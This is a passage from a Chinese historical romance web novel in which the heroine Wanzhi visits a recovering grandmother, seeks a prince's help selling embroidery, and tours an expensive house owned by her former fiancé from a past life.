叫她忍不住朝历常珽眼神示意过去,让他也好生瞧瞧这样的好娘子,错过可就再难得到这样的佳人。
接收到她暗示的历常珽,目光亦情不自禁落到妧枝身上。
在食盒打开后,他招来婢女去拿茶壶,随即便亲手为周老夫人和妧枝沏茶,听着二人叙旧的话。
“老太君过奖了,初闻老太君生了场大病,我十分担忧,幸而后来得郡王报信,有大夫在,而今看到老太君安康,我便放心了。”
“是啊,我那日情势凶险,若不是身边有人看着,大夫又在府上,再耽搁些时日,只怕就要去了。”
周老夫人:“我可是早就知悉,是你曾向常珽提过,你略通些医术,观我面相就知晓我身子怕是患有隐疾,让他多留意些。阿枝,若不是你,我这一劫只怕也过不去。”
“你对我,还有整个甘府可是有天大的恩情啊。”
“大恩谈不上,我只是想略尽些绵薄之力……”
上一世历常珽雪中送炭,妧枝所能做的就只有这样回报他,也不敢确定是否能保下周老夫人一条性命。
好在,世事无常,却也有一些被眷顾的幸运。
妧枝和历常珽不经意对视上,她有些微愣,在这一刻竟觉得历常珽的目光好似在她身上落下很久。
为何,是一直在看她?
周老夫人在旁,默默观察着这一幕,嘴角边的笑意越拉越大。
她没想到那日说过的话,外孙当真听了进去。
还将妧枝带了过来。
还说她光操心,若不操心,推这不将婚姻大事放在心上的外孙一把,焉能有今日这一出?
周老夫人咳嗽两声,将有些怪异对视的二人分开。
妧枝朝她看去,心中颇为疑惑刚才历常珽的举动,莫名的,气氛也有些不同。
像是未免让她尴尬,旁边的人忽然起身,“贯轩让我来后找他,有事相商,祖母,我这就过去一趟。”
“妧娘子。”历常珽叫她了。
妧枝再次抬眸,正对上历常珽看她的眼神,认真而专注,“妧娘子在此陪着祖母,若有事可尽管吩咐,等吃完茶,常珽再送你回府。”
“不必那么麻烦,我自己……”
她留意到历常珽已经开始改口,只是不知道是什么缘由。
是因为她提点了他,保住了周老夫人才不再自称“本王”?
然而,周老夫人打断她,“怎好让你孤零零地回去?即是他带你来的,也该送你归家。”
“你不是还有事去寻贯轩,还不快去快回?”
在几句话之下,历常珽被周老夫人赶走,而送妧枝回家的决定也干脆定下。
对方走后,妧枝再次面对周老夫人。
其润了润喉,看妧枝的眼神不仅有长辈的慈爱,还有一种特别的亲近,“你何必与他客气,你于我有救命之恩,常珽又是我之外孙,他体贴待你,那是本分中的本分。”
“我想,换做是任何男子,遇到这样心善懂事的小娘子,都会多加照顾。”
妧枝点头,想到历常珽即使今世与她萍水相逢,不过打了几次照面,都表示只要她有为难的时候,都可以帮她。
于是顺着周老夫人的话道:“是,郡王是个相当温柔的人,他……乃当世之君子,值得令人钦佩仰慕。”
不想周老夫人闻言,听得双目都亮了几分。
她观妧枝神色,只要提及历常珽,不像是有反感之意的样子,反而充满真心实意。
她不禁道:“当真,你也这般觉得吗?”
妧枝点头,她所言非虚,不会作假。
历常珽虽贵为郡王,却不会摆太高的架子,即便是寻常人物,他都能和气以待。
是以之前濉安王府里的婢女说得到过他相助,妧枝都相信这是极有可能的。
周老夫人得知她对历常珽的看法后,不知为何,竟十分高兴起来。
连连点头,“好好好,你竟能这般看待他,真是太好了。”
她后来什么都没说,只拉着妧枝,邀请道:“你若有空,就常来此看我,还有常珽,我会让他去接送你,你若愿意,就与他交个朋友。”
“他孤家寡人一个,身边并无其他女子,这么多年都未曾成家,可见凄凉,叫人看了于心难忍,你可要与他多来往呀。”
妧枝即是吃惊又是讶然,看着周老夫人,想问她懂不懂这番话到底是什么意思。
怎么听着是与历常珽做朋友,却又提及他身边没有其他女子?
这样好生叫人误会。
然而,妧枝到底不好自作多情开口,只能在周老夫人殷勤盼望的目光之中,同意的点了点头。
“那妧娘子,可真是活菩萨。”
甘家的书房里,甘贯轩说:“我听闻,祖母有意撮合你跟她?”
历常珽被赶来这边后,便到了他院子里喝茶。
他回想起与他一起来见周老夫人的妧枝,在马车上时,她很娴静的坐在那,说下去后,就不劳烦他来提食盒了。
那是她登门拜访做给老太君的吃食,若是两手空空,岂不是不合规矩。
她思量的东西有很多,也有自己的主意,历常珽于是便没有强求帮她拎着。
他看着妧枝窈窕的背影,心知,这是个看似温婉,实则也是要强的女子。
他回应甘贯轩的话,“她与三郎四郎有婚约了,你莫要再乱说话。”
甘贯轩虽是周老夫人的亲孙,和历常珽一样,与濉安王府都是亲戚。
但他与历常珽才胜似亲兄弟,比濉安王府那些个郎君可要亲近。
即便说的是李屹其与李含翎,甘贯轩也道:“那又如何?还未真正定下来呢,且我听祖母说,此女性子淑惠,适合做你郡王府的主母。料想是个温柔的人,三郎四郎是什么人你还不知么?”
“嫁了过去,只怕受气。”
濉安王可不是异姓王,他在朝中有权有势,连带名下子嗣自然地位名声都水涨船高。
更别说他那位被过继出去又认回来的长子,前途无量。
可想而知底下的子弟会有多大的脾性。
随着甘贯轩的话,历常珽想到的不止是李屹其和李含翎,还有今日被撞见的当朝密使,商大郎君。
商榷安从小被过继给罪臣濮国公商朔一事,历常珽一直都知。
他与他们的生长环境非常之不一样。
诚如世人所说,他们生来就是天之骄子,富贵无比,一辈子好命。
但商榷安好似并没有得到这样的运气。
他是从小王孙,从云端掉入泥潭。
过继给罪臣就如同在羞辱濉安王,认贼作父,如此出身,谁敢与他们往来。
他听说,商榷安少时就被带回商朔老家了,直到十六岁方才来京,然后金榜题名。
然而在此之前,据闻他是罪臣之身,是无法上到金銮殿里面圣乃至参加殿试的。
十多年前的王城京都,被大雪覆盖成灾。
路边行人少许,酒楼茶肆里烘着暖炉,酒楼与茶肆两边都坐着不少饱读诗书来赶考的学子。
有贵有贱,都看着外面被人拦住去路的一道清瘦挺立的身影,诸多人林立,唯独那边却孑然一身。
“是商朔家那个罪臣的儿子。”
“也不知是如何来的京都,不是罪臣之身吗?商家后人还能进京赶考?”
“你怕是不知,有人为其担保,否则焉能离开他穷苦老家。”
此乃酒楼中人议论,无论冷眼旁观,还是鄙夷不屑,都没有遮掩。
茶肆那边亦有人道:“商大郎君算不得真正的商家后人吧,他难道不是被上头指明过继出去的。”
“我看到酒楼那边人里好似还有他家那两个阿弟,是濉安王府的小公子吧?怎么看到有人为难他也不抬举一把?”
“即便不是同一家门,可这打断骨头还连着筋啊。”
“笑话,而今他宛若一匹孤狼,来了京都不与世家为伍,还孤冷清傲,也不与我等往来,似乎谁都瞧不上。这丢脸的身世被那些勋贵子弟翻出旧账,自家兄弟也都讥嘲不想认他,闹得这样大谁敢帮他?”
聚在一起的寒门子弟摇头,“唉,终究他出身于我等不同,还是不要混入其中免得被连累罢了。”
那日历常珽也在酒楼其中,他观到多数人都对雪地中对峙的一幕保持袖手旁观的态度。
而孤身一人的商榷安并没有像道路两旁任何人求助。
他的衣履可以窥见商朔留给他的遗产并不多,比寒门子弟都要勤俭不少,但就是那一身并不厚实的衣裳,让他在雪天中穿出了身后仿佛千军万马的气势。
“商榷安,你资质不明朗,如何能上得了金銮殿面圣?”
“你一介罪臣的后人,哪有资格与我等参政议论?”
“莫不是行了一些不好的贿赂,方才得了考试名额?我劝你识相,莫要连累了为你作担保的大人,还是收拾行囊,早些滚回你的家乡。”
那三人欺他势单力薄,无任何一人站在他身后说句公道话。
商榷安却眼也不眨,睫羽上染上白色冰霜,手上已然冻僵,薄唇微启,“除非上面有令,否则这番话,不如省些力气,留给尔等上了金銮殿上再说。”
这三人论资质自然是不如他,但如何能忍下一个王府弃子与他们相提并论。
入了寒门,重新回京,看到他们本该卑躬屈膝,尽万分力来接近讨好曾经属于他的圈子。
然而商榷安两边都不沾,睥睨且不可一世,不让示好也不让贬低,这京中子弟如何能让他安然至仕。
不过是一番又一番为难,如同九九八十一难,成就今日的密使重臣,商榷安。
历常珽与商榷安更谈不上有太多交际,他既然不喜欢濉安王府的人来找他,自然也就拒绝一切与濉安王府有关的人。
作为亲戚,也只有后来在府里见了面,才有个点头之交。
只是,多少清楚些商榷安性子为人的人,历常珽依旧不解,清高傲骨的商密使,为何要与区区一个小女娘为难?
第32章 端倪。
妧枝陪同周老夫人在园子里呆了一阵,不多时,对方便有些疲乏了。
在她来之前,周老夫人就已在园子里逛了逛,而今外面渐渐起风了,管事的道:“老太君,还是请女郎进屋坐吧。”
“这晚食可要让下面安排?”
天色还不算太晚,午后正是爽朗的时候,妧枝却觉得不该再继续打扰下去了。
她起身,“我扶老太君进屋歇息。”
“晚食就不必准备了,我该归家了,等过几日,老太君若不嫌我烦,再来探望。”
“你这说的什么话?我巴不得你来呢。”周老夫人笑道:“我知你记着家中规矩,不肯轻易在旁人家里用饭。”
“那就算了吧,等日后你多来看我,留你吃个午食,不要紧吧?”
妧枝点头,若是常往来,那就不讲太多虚礼了,否则成了客套中的累赘,反倒不近人情。
周老夫人感觉欣慰,着人吩咐:“去请郡王吧,让他送妧娘子归家。”
书房,历常珽很快得到消息。
他本就该准备走了,饮了一壶茶,与甘贯轩说的差不多,便知周老夫人那边应当也快了。
甘贯轩继续与他说未说完的话,“旁人家不知,我们这些亲戚难道不清楚他们那边是什么情况?”
“子嗣不和,父子不亲,不好相与。”
他笑:“可不好叫妧娘子这样的救命恩人去蹚他家浑水,常珽,救人救己,可别叫妧娘子陷入火海之中啊。”
历常珽无奈道:“你与祖母果真如出一辙,好了,住嘴吧,我有我的思量。”
“再提过几日,我就不来了。”
话是如此,等去了周老夫人的院子,见到在门口乖巧温婉等待的那道身影时,看到妧枝那个女子被风撩起的发丝。
历常珽禁不住放缓了脚步,如同不想惊扰了独享一刻清净的佳人,适当的在一段距离处停下。
妧枝掀起眼眸,若有所觉,然后侧身同屋门口的下人道:“郡王来了。我便先回去了,还请老太君好生歇息。”
“是,娘子慢走。”
她提着食盒步下台阶,每一步仿若走在琴弦上,拨乱了人心。
历常珽注视着妧枝一步步走近,想到甘贯轩说的话,耳畔充斥着杂乱的声音。
“你可得救她于水火。”
“你瞧三郎四郎可与她般配吗?濉安王妃那样独掌大权的性子,做她的儿媳妇必然少不了吃苦。”
“她被商榷安退亲了,是为何哪里不满意她呢?她进退有度,知晓自己的亲事曲折坎坷,可有独自伤心过?”
“这般要强的女子,想必是不会让人看到她的不堪的。”
“历郡王……”
妧枝走到历常珽跟前,发觉他竟然不合时宜的出神了片刻,她不由地出声打扰。
历常珽倏地收拢回神,目光有一丝特殊的看着她。
妧枝:“郡王?”
历常珽面露微微歉意,“抱歉,不小心失神了。”
妧枝当他是在思虑正事,况且与周老夫人聊过后,只当与历常珽交好,就当是做朋友。
于是并未计较这等小事,她微微一笑,“不打紧,是不是该走了?若不是老太君定要劳烦你送我,我可以自己回去的。”
历常珽却说:“并不麻烦,送是应该要送的。”
“常珽的本分,还请妧娘子不要见外。”
这话周老夫人也曾说过,而到了历常珽口中,妧枝不知为何觉得又仿佛多了一层意思。
她明显愣了一下。
而历常珽已经不再提刚才事情,“不嫌弃的话,妧娘子又要与我同乘一辆马车了。”
实则马车上除了他们,为了避嫌还有另外的婢女在上面。
门窗亦会打开通风,是以并不算不合规矩。
“走了?”
屋中,周老夫人躺在榻上,出声一问。
下人回应,“是,郡王接了妧娘子,二人就出去了。”
“可有看到他们二人说了什么话?常珽跟妧娘子说话时什么样?”
即便病了,周老夫人依旧不甘寂寞,想要以此推测他们是否能够成就一段姻缘。
“笑呢,妧娘子笑了。”
下人口述当时那对男女站在一起的模样,“郡王来时,见到妧娘子,还出神了,直到妧娘子走到跟前叫了他一声,方才醒过来。”
“这傻子。”
周老夫人跟着弯了弯眉眼,闲话般说起在濉安王府的事,“我当初瞧那小娘子第一眼,就知她是贴着谁的心坎肉长的。”
“这种静花照水的性子,可不是轻易就能养出来的,那是天生的,学都学不来的乖。”
下人捧话,“还得是老太君看人准呢,这样的缘分,想必过不久郡王就能好事将近了。”
“我倒是盼着呢,且看造化吧……”
话音渐歇,屋里之后再无闲谈,恢复了清净。
妧枝在马车中与历常珽相对而坐,即便不提周老夫人,也有话说。
“妧娘子家住状元巷,那里除了妧侍郎还有好几位我认识的大人,都在那边落户了,可见是个福禄之地。”
“那郡王呢?”
“也就在御街上的和乐巷里。”
“和乐巷皆是达官贵人所居,那也是福禄之地。”
历常珽低声轻笑。
妧枝跟着笑了一下,“不过就算再福禄,若是住着不爽利,也不过是平添烦忧。”
历常珽纳闷,“这又从何说起?”
妧枝:“我家人丁不多,但屋子也不大,随着弟妹渐长,所用之处变多,久而久之就显得逼仄了。我倒是想,在这京中另寻一处房产,好将阿母他们安置。”
“原是如此。妧娘子可有看好的地段?”
“尚在斟酌。”妧枝微微抿唇,然后道:“另置房产,所需钱财不少,以我目前能力,只能赁居个一年半载。”
若是不能有充裕的钱财和能力安置平氏他们,即使与妧嵘分开,妧枝劝说母亲离开父亲,都不会让他们安心听她的安排。
只有让她在平氏等人心中变得可靠,方才会使其依赖于她。
妧枝抬头,看向历常珽,有几分深意,“之前郡王说,若是有为难之处,可尽管向你道来。可我非是那等轻易受人之恩的人,不想麻烦了你,有些麻烦我尚可自己解决,不过,眼下倒有一事想请郡王帮我。”
“何处有生财之道?我想多置些钱财,我而今手上有一批精细的刺绣,售给绣房和裁缝铺,它们大多有自己的绣娘,不肯轻易收下。”
“即使将我的刺绣买去,也不过是低价给我补偿,我那些绣帕、绣枕乃至绣被等物,都是用了上好的金丝银线,花了心思,若能为我引荐适合的客人,得了钱财,之后我愿意与郡王分出一半。”
能买得起贵重刺绣的,必然也要出身富贵。
妧枝而今身边没有这样的人脉,只能寻个这样的法子请历常珽帮忙。
周老夫人病重,不好劳累她,不然此事本该是寻她牵线的。
妧枝安静地凝视历常珽,黑白分明的眼珠显得她乖巧而秀静。
历常珽却从话语中,听出许多不寻常来。
既要置办屋产,为何是妧枝自己费心钱财?妧嵘难道不管她吗?
她说要安置母亲他们,怎么分毫未提自己父亲?
此事,难道她家里人都不知情?
对上妧枝的目光,历常珽蓦然隐去那些不必要的追问,答应道:“难得妧娘子有事相请,常珽定然鼎力相助,绝不会推辞。”
“此事交给我来办就好,不出三日,就会给妧娘子一个答案。”
妧枝松了口气,“那就在此先多谢郡王了。”
历常珽送了妧枝归家,马车到了状元巷附近,妧枝喊了停车。
二人并非婚嫁关系,虽然彼此清白,多少还是要避嫌。
为了不扯出闲言蜚语,妧枝提前从马车中下来了,“此路不长,我先回去了,郡王慢走。”
她欠了欠身,行完礼便提着食盒走了。
却不知道车上的历常珽在她背后看了她许久,然后等到车夫问起,方才吩咐,“调头吧。”
妧枝回到家,正好看到院子里下人正在清理物品,是从妧嵘的书房里搬出来的。
有些废品和无用的旧书,还有他用不上的笔墨。
下人见到妧枝,起身问好,“女郎回来了。”
妧枝垂眸一扫,明知故问:“这些是什么?”
下人道:“是主家吩咐,要拿去烧了的旧物,用不上了,这才叫我带出去清理。”
妧枝眸色暗了暗,抬头看了眼书房内,“阿父今日在家?”
“先前还在,但一个时辰前,主家好像得了什么口信,有事便出去了。”
见妧枝一时没有吩咐,下人便又蹲下整理起来。
却不想下一刻,女郎竟然放下了食盒,嘴里道:“这些旧物许多我和阿弟阿妹都没见过呢,妧酨之前常念想要见识阿父墨宝,又担心受责骂,一直不肯与阿父说。”
“还是我来帮他找找,看有没有能用得上的吧。”
妧枝笑容自如地吩咐,“你去忙吧,这里有我,等过会我再叫你。”
“顺便,将我这食盒拿去伙房洗一洗。”
下人没有存疑,妧枝说的都是实情,他只想到家中那位胆小的大郎,可惜了这么个长姐。
妧娘子虽是女郎,却抵得上一个兄长。
这家中虽然主母同样懦弱,但妧娘子是唯一能让主家听她几句话的人,也是唯一敢与主家叫板的。
下人走后,妧枝在确认四下别无其他人后,蹲下身来开始翻找妧嵘的旧物。
妧嵘的书房也非随便能进去的地方,他与乱党勾结,做什么都小心翼翼,书房定然十分保密。
什么东西没了心里都有数。
但这次他吓破了胆,这些拿去烧毁的东西说不定有什么猫腻。
妧枝仔细查看,终于在一个碎裂了一半的花瓶中,发现端倪。
第33章 得宠。
一夜春风过去,乍听虫鸣。
京都里,连续下起连绵的几日细雨。
随着朝中局势的变幻,濉安王府近来都变得安静,也许是得了小道的消息,并没有与妧家走得太近。
连与妧枝有了初步婚约的李含翎待在家中,安分守己。
他还给妧枝传信,说是要准备考试,期望能一举中得功名,到时候就请媒人上门,彻底将两个人的亲事定下。
妧枝对信上的内容态度平平,也就回了句让他专心准备,祝他早日平步青云,便就此作罢。
小雨时节,清明阵阵雨。
商朔忌日,商唯真带了他的牌位,在京中的一座山清水秀的风水宝地,又给他立了一块碑。
商榷安带商唯真去看他,祭祀奉酒,把朝中事些许变化说给商朔听。
物是人非,许多曾经商朔的旧人,甚至帮扶过商榷安的长者,都葬入了地里。
剩不下多少对他有恩的长辈。
“榷安阿兄。”在目睹下人备好黄纸,商唯真来到商榷安身旁,“轮到我和阿父说话了。”
商榷安在商朔墓碑前,并没有多太多言语,大多时候都是与一块墓碑静默以对的。
他给商唯真让了个位置,按照老规矩,不打扰商唯真跟商朔说小话,“那我去一旁等你,声音可不要太大,否则会让我偷听到的。”
商唯真被逗了一下,很是娇羞地看了商榷安一眼。
然后向墓碑的主人告状,“阿父,你看他……”
商榷安在附近眺望山头,群山遍野,耳朵里听着商唯真跟商朔倾诉,自己这些日子来在京中的日子。
“阿父,阿兄待我是极好的,王府里的人都好,很是客气……”
王府里的人对商唯真的确不错,恭敬有加,那都是看在她身后的人是商榷安的份上。
他对待下人,并不是好糊弄的角色,尤其自小生长在底层环境中,更是知晓什么叫看碟下菜。
他若太好脾气,底下人就会肆意妄为。
上一世,凡属他院子里的,大房的主子和下人都是其他院子里疏远的对象,他官居高位,赏罚分明,整个王府里连在濉安王夫妇二人跟前都是说一不二的存在。
他渐渐势大。
大房里便都少与人来往,他觉得这般清净,事少,敬重几分恩威便好。
妧枝作为他的大夫人,因此得到的也是这般待遇。
刚开始,她误以为他与濉安王夫妇有着脱离不开的骨肉之情,于是百般孝敬,温顺贤惠,想要代替他孝顺公婆。
可府里的人待她,除了敬重她是他的妻子,并不敢向对二房三房他们那样亲近。
深知被疏远,妧枝最后也依旧面不改色伺候了濉安王妃许多年。
自此,他回想,似乎没有听过她对任何一个长辈撒娇,始终维持着一个已婚妇人的贤良体面。
除了在妧家出事的时候,商榷安都没见过她有多么慌张。
山中有雾,萦绕着青山缓缓流动。
商唯真的声音隐隐约约响起。
“我身子已经好了许多,阿兄为我花费心思养病,而今已和寻常人无恙了……”
商榷安觑着山色,负手而立,半是分心,半是出神听着。
直到时辰差不多,商唯真和商朔交代完自己近日的情况,方才转身,同商榷安道:“阿兄,我说好了。”
商榷安神色安定,别无异样,走到她身旁,看着商朔的墓碑,就这样静静站了一会儿,他对商唯真道:“回去吧,我送你回府。”
商榷安还有正事要办,将商唯真送到府上便走了。
雨水之后,路上行人渐渐多了起来,妧枝的长辈都葬在老家,京中任何一处风水都宝贵,妧嵘更承担不起太多安葬的钱财。
于是家中只摆了一张小桌,奉上供品,点上高香,意思意思便罢。
妧枝今日一早便出了门,她去给周老夫人和木荷堂各自送去了一部分青团。
历常珽那边早有眉目了,说已经为妧枝找好了下家,让她先送了几幅绣图过去,已经成交了好几笔,帮她当前挣了个富余。
抽了个空闲,妧枝开始目色在京中适合安置平氏等人的房产。
天色短暂的恢复了明朗,然而还是带着潮湿的湿气,整个天幕上空透着一片灰青。
妧枝有心好好看一看房子,请了轿夫在京中几条清净且不乱的大街巷落转了转,牙人带她看了几座小宅,夸得五花八门。
然而妧枝目光挑剔,并不满足于只想找几间普通屋子。
她需要有书房,院落,景观。
无论是平氏想要和京中那些贵妇一样,结交一两个知己好友,宴请吃茶都能满足。
而妧酨和妧柔也要有单独的小院,分毫不差。
牙人要不是看在她出手大方,且气度不一般,是官家女子,早已不耐烦。
于是哀叹,“小娘子眼光太挑剔,小人只怕眼界低,手中货少,难以满足娘子愿望。”
妧枝含笑:“我知你不耐烦了,可我花了大价钱请你,听说你是京中这最有声誉的牙保,什么未曾经历过?不过一间宅子,你若做不好我这单,岂不是有损你的名头?”
牙保道:“可我方才带娘子瞧的那些,都是五脏俱全的好屋子,说雅致也雅致,且不陈旧,娘子怎么就不满意?让我说句不好的,这世上没有什么东西能十全十美让人称心如意。”
妧枝偏过头仔细看着她,目光清澈而执着,“什么叫称心如意,不过是觉着让人觉着不错,恰到好处,方才称心。”
“你当我为何要这般挑剔?我一个女子,今后是要做当家的人,带着家中母亲姊妹讨生活,若不能使他们住的开心,我又如何要置这样一个宅子?你且体谅体谅我,我也不会亏待你,真找到了,我再多予你些酬劳就是。”
牙保本就做的这一本行,闻言敬妧枝三分孝顺懂事,道:“好,那我就带娘子去另一处瞧瞧,那宅子本是一位贵人的,原先不打算卖出去。”
“这宅子,我可轻易不带人去看,请随我来吧。”
妧枝:“有劳。”
牙保让轿夫起轿,二人转向它处。
妧枝透过小窗,看到附近景色一变再变,去的地方也非富即贵,肉眼可见比之前所在的街道要更不同一些。
看来牙保听了她那番话,的确重新认真对待她起来。
新的宅子从进入巷口就不同了,好像独门独户,是高墙大院,地板都整洁如新。
还未到门口,远远就能窥见庭院里种满凤凰木,花期正是它开的时候,绿叶围绕着一片橙红的花。
小阁楼,挂着题了字的灯笼,空中竟然还有一道悬在檐角的纸鸢剪影,一看就知是为家里颇为重要的人准备的。
十分有心。
“就是这里了。”牙保婆子从轿子里出来,对另一边下轿的妧枝示意。
妧枝抬头,张望这处侧门。
牙保婆子道:“这宅子的贵人往常并不来此,不过他也不大喜欢旁人过来,这回是事出有因,说是忽然不想要这处宅子了,要换别的地方。”
“我原本是不想带娘子你来这的,这宅子可是应了娘子的期望,你见了定然处处欢喜,但是出价嘛,定然可就比方才那些要高了……”
牙保婆子意味深长,妧枝听懂她是要高价出手的意思,于是泰然不惊道:“好不好,进去瞧瞧再说。”
牙保婆子敲了门,里面的下人过了好一会儿才来开门。
见到她们,颇为惊讶,“怎么这时过来了?”
二人似是相熟,牙保婆子道:“贵人不是说不想要这宅子了,想处置了?我这不就带了雇主前来看看。”
随即下人往妧枝这处投来一眼,然后又说了句什么,让开到一旁,“那就进来吧,你带的人,可不要乱走。”
妧枝在旁听了,面不改色,不过对这宅子里的人,却有了不一样的印象。
是个规矩重的下人,上面的主子定然更加威严,否则不会这般连外人都要提前告诫一声。
牙保婆子带着妧枝一直往里走,沿着院墙下,绿树枝叶横生,翠竹和石台清新而干净。
她眼里都是这些雅致的建筑,心中暗疑这宅子背后的主人会是谁。
庭院里,因雨已停住,远山近林,宛若黑白山水画一般,令人心神宁静。
石桌上烹着茶,独坐着一道挺拔而清隽的身影,正独自酌饮,修长两指夹着茶杯,耳听侧边过来的下属禀告。
“来了位帮人赁居买卖的牙保,带了个客人过来看宅子,此时已从侧门那边进来了。”
酌饮的男子并未发话,甚至连眼都未眨一下。
直到下属口中的牙保和客人由远而近的出现,在这后院,商榷安本该独享一片清净之地。
然而那边女子的到来,让他连夹着茶杯的姿态,都越发聊赖不经心起来。
甚至因未察觉到他也在这里,那边的谈论声还渐渐传了过来。
“娘子觉着如何?我没诓你吧。”
牙保:“此地可是贵人心仪居所,虽不在闹市,却并非偏僻之地。”
女子声音十分熟悉,其实低柔软绵,很有温柔而缱绻的味道。
“的确是座好宅子,布局可观,且雅致。”
“可不就是,内里四个院子,娘子要的主院、书房、景观,可样样不缺,正好你与家中长辈姊妹一人一间。”
妧枝有自己的想法,念随心动,试着在脑海中规划若是真的盘下这座宅子,平氏妧酨妧柔该怎么安排。
还有家中能留下来的奴仆,妧枝更不可能赶她们走,且都相处了很久。
“这里怕是奇货可居。”
她看向牙保,牙保婆子冲她露齿一笑:“娘子不是知道吗?方才我不是说了,要称心如意,代价可不小。”
“多少?”
“起码得这个数……”
牙保比划,妧枝道出,“八千贯。”
而今朝臣高官,一般俸禄都在两百贯,以妧嵘的资历,他如今月俸才一百贯,这座宅子可以说是贵极。
牙保笑眯眯点头。
许是知晓些妧枝的身份,开口道:“虽然价高,但能满足娘子需求。若是为钱财方面担忧,郡王那里曾有交代,可先代娘子支付了……”
妧枝做营生,借了历常珽的光。
想要在京中添上一笔资产,也要找个稳当的中间人,牙保便是历常珽那边托人找来的。
妧枝承了这个情,日后也不忘还回去。
但眼下,她没想到牙保竟然会这么说。
她拧眉,轻蹙。
而在附近,将她们的对话听得一清二楚的,远远不止一个人。
只是坐在石桌边轻酌的冷面郎君,始终不发一语,神情淡然,眼珠深黑。
“那怎好劳烦郡王。”女子的声音说。
牙保婆子十分有深意地一笑:“娘子真是客气了,以你与郡王的情分,这点小忙又怎称得上劳烦呢?”
“我知娘子孝顺,想在京中,与家里人有个安稳的地方居住,从状元巷搬出来,可与这里不同。”
“此处地界非是外边那些破烂巷可比,即便家中没有男丁,在此也不必担忧有贼人上门叨扰,时常有官兵在附近巡逻。娘子若是喜欢,可以多考虑考虑。”
八千贯不是小数目,妧枝想要凑齐,她这些时日挣得钱财远远达不到。
但是牙保总将她往历常珽那边劝说,想她借历常珽的力,盘下这座宅子。
妧枝笑笑,“宅子我的确喜欢,但钱财方便我会想办法的。”
牙保误以为她会找历常珽想办法,攀附高门的女子不乏清高,不好在人前说道,或是攀扯与其他男子的干系都正常。
她点了点头,并想给妧枝几分信心,“娘子放心,以娘子的姿色,在郡王那里定然颇为得宠的,郡王也会对娘子你多加爱护。”
妧枝知晓牙保定然会错意,弄错她与历常珽的关系了。
且她们并非相交的知己,也无解释的必要,但妧枝还是不由地淡淡冷下了脸,似笑非笑看着满口胡言的牙保婆子。
一直到对方意识到不该再胡乱揣测下去。
“咳,那,娘子可都看好了?”
妧枝点头,“看好了,但是否盘下这座宅子,须得我回去慎重考虑后再给你答复。”
那边动静渐小渐无。
背后,商榷安默默品尝完一杯冷却掉的茶,一直到牙保婆子与妧枝说完话,都没有出声打扰她们。
待到二人转到一边去后,此处气氛颇为寂静。
此处房产,是商榷安多年以前就购置的,上辈子也一样,在没重生之前,两世都在成婚前就买下了私宅。
至于用途,那时自然是在京中做了官,想把商唯真接来一起住。
而今,他觉得这座宅子并不那么好,又许是想与前世不同,换个风水。
再看此处的景色,已不再能讨他喜欢。
是以他今日来,便是想,将这宅子出手处置了。
却不想,会在这里碰见妧枝。
听方才的对话,看来她与历常珽已经私交甚笃了。
否则,哪里来的旁人调侃,她颇得宠爱呢?
“来人。”
商榷安放下茶杯,面无表情地吩咐,“去问问,王府里的四公子近来在忙些什么。”
“若无他事,自己议亲的妻子,是不管了么?”
第34章 嫁妆。
从宅子里出来,妧枝都未见到其背后真正的主人。
她与牙保在门口道别。
“此处地方甚好,但八千贯还是超出我的预料,可否与这里的主家说一声,若有心买下,最低出价是多少?”
牙保婆子面露犹豫:“这怕是不好说道,贵人大抵也不缺什么。”
“不过……兴许也可以一试,既然娘子发话了,这点事还是得替你办的。”
妧枝:“多谢。”说罢,拿了今日看宅子的酬劳给她。
牙保婆子哎哟一声,“娘子真是客气,郡王的吩咐,事成之后方能收你的好处,这……”
妧枝:“应当的,总不好叫你白跑一趟。”
见此,牙保婆子笑着收下了。
“那就多谢娘子了。”
妧枝点头,二人分别上了轿车,从宅门前离开。
牙保的轿车里,送她归家的车夫道:“赵七家的,现在去哪儿?”
只听对方目送着分叉口远去的另一顶轿子,冷不丁的,轿子便在下一刻,转了个弯,朝另一方向走去。
清明祭日,不管哪间府上都多了一丝雨后的凉意。
“这青团,里头是黄豆馅儿的,还加了糖呢。”
院子里,精神大好的恢复些许气色的周老夫人捻着吃了一个,笑着同旁边人夸赞去,“滋味不错,都吃着吧,可别浪费人家小娘子的心意。”
在桌旁坐着不止一个甘府的人,都是为了陪她的孙辈,听了周老夫人的话,都试吃起来。
很快将那一盒点心都给分完了。
“吃了这青团,祖母心尖上的人可就又多了一个。”
甘府里的小辈打趣道,“可是和常珽阿兄来府上的那个小娘子?”
“我来祖母院子时见过,初时还以为是带了哪位嫂嫂。”
“这手艺可真好啊,若真是咱们嫂嫂,以后可有口福了。”
周老夫人听得笑眯了眼,“就你们会说。”
一旁甘贯轩朝与他坐在一起的历常珽瞧去,与家中姊妹一样,调侃道:“我听说,你为了你那妧娘子,连木荷堂都做起旁的生意了?”
“连祖母都为她牵桥搭线,你也找了不少贵客,真是有心了。”
历常珽品尝着妧枝做的青团,回应甘贯轩的戏谑调侃,“她很不容易,我的确做不到无动于衷。”
甘贯轩愣住,没想到会在此刻听见历常珽的心声。
就在此时,甘府里的管事进来,走到历常珽身旁俯身报了个信。
只见他听过后便从椅子上站了起来,待到众人看着他,历常珽才道:“我有点事,出去一趟,一会儿回来。”
与周老夫人等交代完毕,得到对方点头应允,历常珽从桌前离开。
甘府客厅,牙保婆子在安静的氛围中等候。
知晓此处不是一般人家,到了贵人府上,既不敢眼观六面,也不敢耳听八方,规规矩矩坐在椅子上,直到历常珽到来。
“郡王大人。”牙保婆子立时恭敬地站起来。
她不过小小的牙保,换做以往哪有机会见到这样的贵人。
历常珽那日听了妧枝一番心里话,不知不觉便对她的事颇为上心。
此时进来后,看着牙保婆子,道:“你让管事来请本王,是今日之行,出了什么纰漏?”
牙保婆子感受到对方身上传来的威严,十分惶恐道:“不,不是这样。”
“小人求见郡王,是为了告诉郡王,今日妧娘子去看了宅子,她非常满意,只是那处房产的主人,出价不薄。”
“妧娘子瞧着好似有些难处,小人向她建议,说郡王有过吩咐,只要她开口,便能帮她达成所愿。但妧娘子,好像有些生疏,不想劳烦了郡王,小人便想着,来禀告此事。”
这些都是人精,知晓一个郡王,会特意派人帮一个女子办事,这当中定然关系匪浅。
且一个未娶一个未嫁,明眼一看就知,此事非同小可,若是办好了,能得不少好处。
牙保婆子忐忑地等着历常珽回应,只听他问:“她看上何处的宅子?”
“曲水大街后边巷落里的府宅,据说主人也是在朝的大臣,只是具体不知是谁。小人今日领着娘子去逛了逛,好几处,就这一座宅子合了娘子心意。”
“只要置办了那里,娘子好似就心安了,说是家中阿母和弟妹就有了照落。”
